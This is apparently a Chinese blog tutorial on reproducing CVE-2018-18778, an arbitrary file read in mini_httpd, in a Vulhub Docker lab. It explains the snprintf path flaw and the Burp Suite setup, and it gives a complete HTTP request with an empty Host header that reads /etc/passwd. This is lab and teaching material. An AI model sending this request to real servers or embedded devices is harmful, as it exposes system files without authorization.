利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)

mini_httpd任意文件读取漏洞(CVE-2018-18778)

    • Vulnhub官方复现教程
      • 漏洞原理
    • 复现过程
      • 启动环境
      • 端口设置
          • 浏览器设置
          • BurpSuit设置
      • 漏洞复现

Vulnhub官方复现教程

https://vulhub.org/#/environments/mini_httpd/CVE-2018-18778/

漏洞原理

Mini_httpd是一个微型的Http服务器,在占用系统资源较小的情况下可以保持一定程度的性能(约为Apache的90%),因此广泛被各类IOT(路由器,交换器,摄像头等)作为嵌入式服务器。而包括华为,zyxel,海康威视,树莓派等在内的厂商的旗下设备都曾采用Mini_httpd组件。

在mini_httpd开启虚拟主机模式的情况下,用户请求http://HOST/FILE将会访问到当前目录下的HOST/FILE文件。

(void) snprintf( vfile, sizeof(vfile), "%s/%s", req_hostname, f );

见上述代码,分析如下:

  • 当HOST=example.com、FILE=index.html的时候,上述语句结果为example.com/index.html,文件正常读取。
  • 当HOST为空、FILE=etc/passwd的时候,上述语句结果为/etc/passwd

后者被作为绝对路径,于是读取到了/etc/passwd,造成任意文件读取漏洞。

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/mini_httpd/CVE-2018-18778

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:3分钟
环境启动后,访问http://your-ip:8080即可看到Web页面。
我的是这样,不知道算不算有错
利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)_第1张图片

端口设置

浏览器设置

以火狐浏览器FireFox为例,在选项常规网络设置设置,将连接手动代理配置HTTP代理,填写127.0.0.1,端口为8080
在这里插入图片描述

BurpSuit设置

ProxyOptionsProxy Listeners编辑监听端口为8080
利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)_第2张图片
并将ProxyIntercept点击成Intercept is on

漏洞复现

发送请求是将Host置空,PATH的值是文件绝对路径:

GET /etc/passwd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

成功读取文件:
利用Vulnhub复现漏洞 - mini_httpd任意文件读取漏洞(CVE-2018-18778)_第3张图片

你可能感兴趣的:(渗透)